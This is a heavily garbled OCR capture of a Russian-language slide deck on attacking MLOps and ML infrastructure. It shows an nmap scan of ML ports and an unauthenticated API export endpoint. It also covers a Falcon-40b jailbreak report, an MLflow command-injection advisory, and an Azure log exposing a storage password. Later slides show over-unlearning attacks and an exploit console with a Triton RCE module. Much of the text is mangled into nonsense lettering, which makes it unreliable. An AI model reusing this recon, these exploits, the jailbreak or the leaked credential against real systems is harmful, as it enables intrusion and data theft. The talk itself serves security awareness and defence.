. Content-Type: text/html; charset=utf-g8
B H e. Last-Medifie Tue, @7 Jul 2020 15:52:11 GMT
Cache-Control: public, max-ag
United States Expires: Mon, 04 Mar 2024 10
ETag: "159413...
Germany

Ireland

2 MLflow [

18.171 é HTTP/1.1 200 OK

Finland - 9 ap-northez Server: gunicorn

Date: Sun, 03 Mar 2024 22:00:89 GMT

Connection: close

Japan

® Japan, Tokyo .
pan, Tokyo Content-Disposition: inline; filename=index.html

Content-Type: text/html; charset=utf-8
Content-Length: 615
fied: Thu, @6 Oct 2022 86:37:22 GMT
Control: no-cache
1665038242, 5...




Yactb 3: CueHnapuu BlackBox n WhiteBox artak.

BlackBox. Ml + Nmap = MLMAP ?

CraHpapTHoe
onpeaeneHue
BEPCUIM MOXHO
BbINONHUTb
MCNONb3YS
CKpUNTbI ANs
NMAP.

nmap --script ai-tools.nse, ml-server-version.nse -
p80,443,4141,4200,5000,5001,8000,8001,8080,8081,8237,8
265,8888,43800,54321,54322 <target>
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/api/v1/database/export

Request body

Examples

[Modified value]

{
"prompt": "In order to secure your MLOps tools, you need to do the following:",
"model”: -1lama2-7b-chat-uncensored”,
“max_token
“temperature

P.
i 1,
“stream": false




A B 4aCTHOCTHK, NPU NOMOLLMK
Beb-mHTEpdENCa Mbl MOXEM
MCNONb30BaTb BCE TOKEHDI
Mo4enun unm obpaTmnTca K
endpoints, KOTopble BblAaayT
KOH(PUOEHUMANBHYIO
nHdopMaumto b6e3 perncrpaumm

AWS Bedrock | anthropi

—AWS.Brdea,




1. npOI/I3BO,D,I/ITEJ'IbHOCTbZ Pa3Hble Mogenu nmeroT pa3HYyHO
TOYHOCTb U CKOPOCTb AJ14 pa3/IN4HbIX 3a4a4, MOOENU
ONTUMU3NPOBAHDbI A/19 KOHKPETHbIX TUMOB AdHHbIX.

2. KoHTekcT: Mcnonb3oBaHMe Moaenn 3aBMCUT OT €€
npeaHa3Ha4d4yeHnd; HEKOTOpPblIE MOAENN CrNeUnann3npyroTcd Ha
M306pa)KEHI/1$IX, Apyrme — Ha TeEKCTE UJIM BpEMEHHbIX paaax.

3. BHewHwWe paHHble: BpeMs oTknMKa 1 pasMep AaHHbIX MOryT
YKa3blBaTb Ha C/IOXKHOCTb MOZENM.

4. Tvn owmnboK: XapakTtep owmnboK MOXET HAaMeKaTb Ha
0COB6EeHHOCTM MoAenu.

OOHAKO MHCTPYMEHTOB, KOTOPbIE MOTYT AenaTb 3TO
aBTOMaTU3MPOBAHO — NOKa HeT(

Description

Falcon-40b-instruct is
susceptible to hypothetical
response jailbreak attack

System configuration

In what follows, | have used the chat interface with the (default in the app) system

prompt

The following is a conversation between a highly knowledgeable and intelligent
{ C—
And the following parameters:

*Temperature™ = 0.8

“p (nucleus sampling)” =0.9

Normal Behavior




LLMIX, BEZAHETHLINZERREL
h, ETLRZEZDSHDH LI,

LLM MOXHO cnpoCUTb KTO OHa U
OHa MOXXeT AaTb Ha3BaHMe Moaenu
- B XYALWUX cnyvyasax UHGopMaLmIo

0 cebe.
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Hiwho are U ?

Hello! I'm LLaMA, an Al assistant developed by Meta Al that can understand and respond to human inputin a
conversational manner. My primary function is to assist users with their queries and provide helpful responses to a wide
range of topics. Is there anything specific you would like to know or discuss?




Snyk Vu

Al Exploits

0S Command Injection

Affecting miflow package, versions [,2.9.0)

INTRODUCED: 16 NOV 2023
Snyk CVSS

How to fix?

Low @

Upgrade

Changed @

Overview
Iflo
The Al world has a security problem and it's not just in the inputs given to LLMs such as ChatGPT. Based on research
done by Protect Al and independent security experts on the Huntr Bug Bounty Platform, there are far more impactful
and practical attacks against the tools, libraries and frameworks used to build, train, and deploy machine learning —
models. Many of these attacks lead to complete system takeovers and/or loss of sensitive data, models, or credentials
most often without the need for authentication.

With the release of this repository, Protect Al hopes to demystify to the Information Security community what flask inport Flask, jsonify ThreatIntelligence
practical attacks against Al/Machine Learning infrastructure look like in the real world and raise awareness to the b s Flasi( iUy B

amount of vulnerable components that currently exist in the Al/ML ecosystem. More vulnerabilities can be found app.config

here:

https://github.com/protectai/ai-exploits https://security.snyk.io/



(test) [12ms][r=17][~/vger]s

https://github.com/JosephTLucas/vger



X Notebooks - Azure Al |Machine Les X | +

Notebooks

@ Compute: | mybox Running

& ns@publicor: ~ ¥

Every 5.0s: ./fetch-logs.sh 10.0.0.4 jupyter 10 | grep COMMAND | grep -v journalctl public@l: Sat Jul 8 16:18:32 2023 J

Jul 08 16:18:28 mybox sudo[19576]: azureuser : TTY=pts/2 ; PWD=/mnt/batch/tasks/shared/LS_root/mounts/clusters/mybox/code/Use
rs/linkinparkmeteora2005 ; USER=root ; COMMAND=/usr/bin/mount -t cifs //vsocef8432403f367deaSb2c.z23.file.storage.azure.net/c
loudenvdata /vsocef8432403f3674eabb2c -o vers=3.0,username=vsocef8432403f3674ea5b2c, password=BpbaaXE8IwJYn7RHZK8pAWjQLPXYFmpj
L+klwyWHKZRUYaVAhhlUmcbGJ2gid21gaD5UDxS/shtN+AStuEfcBw==,dir_mode=0777,file_mode=0777,noperm,fsc, serverino

Jul 08 16:18:28 mybox sudo[19574]: azureuser : TTY=pts/2 ; PWD=/mnt/batch/tasks/shared/LS_root/mounts/clusters/mybox/code/Use
rs/linkinparkmeteora2005 ; USER=root ; COMMAND=/usr/bin/mkdir -p /vsocef8432403f3674eaSb2c

Uncovering Azure'S Silent Threats:
A Journey Into Cloud Vulnerabilities
- Nitesh Surana

YA3BMMble BHELUHME KOMMOHEHTbI B 06/1a4HbIX cpenax

OTcyTcBUE KOHTpONMpPOBaHUA (PainoBoi cpeabl ANA BCeX
nonb3oBaTenei

HekoTHponupyeMblii BOCTYN K BbIYUC/IUTENIbHBIM CpeaM

Bo3MoXXHOCTb Nno6era U3 KoHTeliHepa

ﬂorrupOBaHMe MoJib30BaTe/IbCKUX y'-léTHle AaHHbIX NpuU
3anycke 3aga4qu

KoHdurypaumnoHHbie ¢ainbl areHTOB MOTyT coaepXXaTb
YYETHbIE AAHHbIE

He peannsoBaH NpUHLMUN HAMMEHbLUUX NPUBENEruin pns
KOMNbIOTEPOB B 06/1a4HOM cpeae

Ucnonb3oBaHue YTEKLIMX AOATOCPOYHBIX TOKEHOB AN
nony4YeHus A0CTyna K 061a4HOMy XpaHUULLY

3noynoTpe6neHue 06na4HbIMM areHTaMm NpU UCMONIb30BaHUM
BHELWHUX CEPBUCOB



Normal Business in MLaaS

@ _  Query In MLaaS, the service provider

#
- Answer

Normal Users Service Provider @ Provides ML services

. But the service provider
Providing data; L.
Providing model ¢ has no access to training data

Dtram
e cannot retrain the model
Model Developer

Machine Unlearning Uitk el

® Request to unlearn /" ’ "
dh personal data, D,,

Normal Users Service Provider unaffected

Model performance

Over-unlearning Unlearns data generated by

@ __ Request to unlean Kj ~ malicious users
ah crafted" data, D;, Normal business
Malicious Users Service Provider suddenly deteriorates

https://arxiv.org/abs/2107.08590






Yrposbl 6yayT cTpaluHee ...
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LA L REDMLOPSY #—4 — /N
WY

Ho Tbl ... 6yaywmi 3alWMTHUK
MLOPS
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M- BENREFAH=-OHICIL,
IELWMRRRZM ST ITNIEE %5
LY,

OnpepenéHHo A0MKEH 3HaTb OAHO
BEpHOe pellueHue ANA 3alUTbl OT
BO3HMKAIOLLMX Yrpos ...
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MLSecOps
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¢ Awesome MLSecOps

A curated list of awesome open-source tools, resources, and tutorials for MLSecOps (Machine Learning Security
Operations).

Table of Contents

)pen Source Security Tools

ML code security
Attack Vectors

Blogs and Publications

Contributions

https://github.com/RiccardoBiosas
/awesome-MLSecOps
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HEbEZREFELTLS,

Myapeubl TaKXXe He cnqarT ...



{M}achine /L/earning %A%ttack *T*ocol.
For machine learning pentesters from hackers.

----[@wearetyomsmnv]----[ 25 modules ]----[ build ©.8.1 ]----

[mlat]> help
Documented commands (type help <topic>):

description exploit options run set use
back exit help recon search show

[mlat]> search exploit

{ID: 1] Name: triton_rce | type: exploit | command: use exploit triton_rce ] httpS://githUb.CO m/Wea rEtyomsmnV/m lat

[ID: 2] Name: django_scanner_2 | type: exploit | command: None ]
[ID: 3] Name: express_scanner_3 | type: exploit | command: None ]
[ID: 4] Name: rails_scanner_4 | type: exploit | command: None ]

I
[mlat]> use 1

| Usage: use exploit/code {module_name}
[mlat]> use exploit triton_rce

| -> [triton_rce]
(mlat)/ > options

| OnuMm gna Tekywero sarpyxeHHOro Mogyna:

ssl: False
rhost:

port: 86
modelname:
overwrite: False




T LT, i&iﬁb\%d)i%’&%ﬁﬁ LT
LN Do

N mMbl HapeeMcs Ha NOAAEPXKKY OT
coobLlecTBa...



BnYi,

KoHel.
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Aptém CemeHoOB
aka @wearetyomsmnv

Positive
Technologies
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